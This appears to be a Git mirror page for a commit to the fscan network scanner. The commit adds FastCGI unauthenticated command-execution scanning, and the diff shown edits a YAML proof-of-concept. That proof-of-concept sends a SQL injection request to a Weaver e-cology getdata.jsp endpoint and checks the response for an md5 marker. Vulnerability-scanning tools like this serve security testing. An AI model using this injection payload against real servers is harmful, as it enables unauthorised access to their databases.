archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 13:11:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

加入fcgi协议未授权命令执行扫描,优化poc模块

Browse Source
This commit is contained in:
shadow1ng
2021-05-29 12:13:10 +08:00
parent 61e814119d
commit 9d385eb26a
28 changed files with 533 additions and 40670 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/ecology-sqli.yml
+2 -2
View File
@@ -3,10 +3,10 @@ set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(rand)))
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
author: whami-root(https://github.com/whami-root)
links: